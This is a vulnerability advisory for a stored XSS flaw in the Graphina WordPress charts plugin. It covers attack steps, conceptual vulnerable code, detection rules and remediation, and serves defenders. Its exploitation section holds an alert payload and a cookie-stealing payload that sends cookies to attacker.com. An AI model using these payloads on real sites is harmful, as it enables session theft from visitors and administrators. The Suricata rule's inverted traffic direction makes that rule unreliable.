CVE-2025-11820

Executive Summary

CVE-2025-11820 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Graphina – Elementor Charts and Graphs WordPress plugin, versions up to and including 3.1.8. The vulnerability resides in multiple chart widgets (Area, Line, Column, Donut, Heatmap, Radar, Polar, Pie, Radial, and Advance Data Table) due to insufficient input sanitization and output escaping on data attributes. An authenticated attacker with at least Contributor-level access can inject arbitrary web scripts that execute when any user visits a page containing the malicious chart. This is a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The CVSS score is 6.4 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor (Graphina) and consider removing the plugin if no patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Contributor-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authenticated access, but the impact is persistent script injection affecting all site visitors.

Deep Dive & Mechanics

The vulnerability stems from the plugin's failure to properly sanitize user-supplied data attributes used in chart configuration. When a Contributor (or higher) creates or edits a page with a Graphina chart widget, the plugin stores unsanitized input in the WordPress database. Upon page rendering, the plugin outputs these attributes without proper escaping, allowing arbitrary HTML/JavaScript injection.

Affected Widgets:

• Area Chart
• Line Chart
• Column Chart
• Donut Chart
• Heatmap Chart
• Radar Chart
• Polar Chart
• Pie Chart
• Radial Chart
• Advance Data Table

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Creates a new page or edits an existing one.
3. Inserts a vulnerable Graphina chart widget.
4. Injects malicious JavaScript into a data attribute field (e.g., chart title, labels, or data values).
5. Publishes or saves the page.
6. Any user (including admins) visiting the page triggers the XSS payload.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. The plugin likely uses esc_attr() or esc_html() inconsistently on data attributes.

Vulnerable Code (Conceptual):

// In chart rendering function
echo '<div class="graphina-chart" data-title="' . $chart_data['title'] . '">';
// $chart_data['title'] is not sanitized/escaped

Patched Code (Expected):

// Proper escaping
echo '<div class="graphina-chart" data-title="' . esc_attr($chart_data['title']) . '">';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Graphina plugin <= 3.1.8
• Contributor-level account credentials

Steps:

1. Log in to WordPress admin.
2. Navigate to Pages > Add New.
3. Add an Elementor block and insert a Graphina chart widget (e.g., "Area Chart").
4. In the chart data fields (e.g., "Chart Title"), inject the following payload:

   "><script>alert('XSS')</script>
   

5. Update/Publish the page.
6. Visit the page as any user to trigger the XSS.

Advanced Payload (Cookie Stealing):

"><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Detection & Hardening)

Detection:

• Monitor for Contributor-level users creating pages with Graphina widgets.
• Look for suspicious data attribute values in page content (e.g., <script>, onerror, onload).
• Use WAF rules to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or page creation endpoints.

Hardening:

• Restrict Contributor-level access to trusted users only.
• Disable the Graphina plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/graphina-elementor-charts-and-graphs/ (entire plugin directory)
• Database: Posts/pages containing <script> tags or event handlers in post_content associated with Graphina shortcodes.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: wp-admin access logs showing Contributor users editing pages with Graphina widgets.

Detection Engineering

YARA Rule

rule Detect_Graphina_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Graphina plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11820"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $graphina = /graphina-elementor-charts-and-graphs/i
    condition:
        any of ($xss*) and $graphina
}

Sigma Rule

title: Graphina Stored XSS Detection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS in Graphina plugin data attributes
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body: 'graphina-elementor-charts-and-graphs'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in chart data (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11820 Graphina Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/post.php"; http_uri;
    content:"graphina-elementor-charts-and-graphs"; http_client_body;
    pcre:"/(<script|onerror=|onload=)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-11820;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Graphina.
2. Review all pages/posts created by Contributor-level users for malicious content.
3. Implement Web Application Firewall (WAF) rules to block XSS payloads in POST requests.

Long-term Fix:

• Apply the vendor patch when available (monitor WordPress plugin repository).
• Upgrade to a patched version (expected > 3.1.8).
• Conduct a security audit of all WordPress plugins.

Workaround:

• Restrict Contributor roles to only trusted users.
• Use a security plugin (e.g., Wordfence) to add input sanitization rules.

Valters IT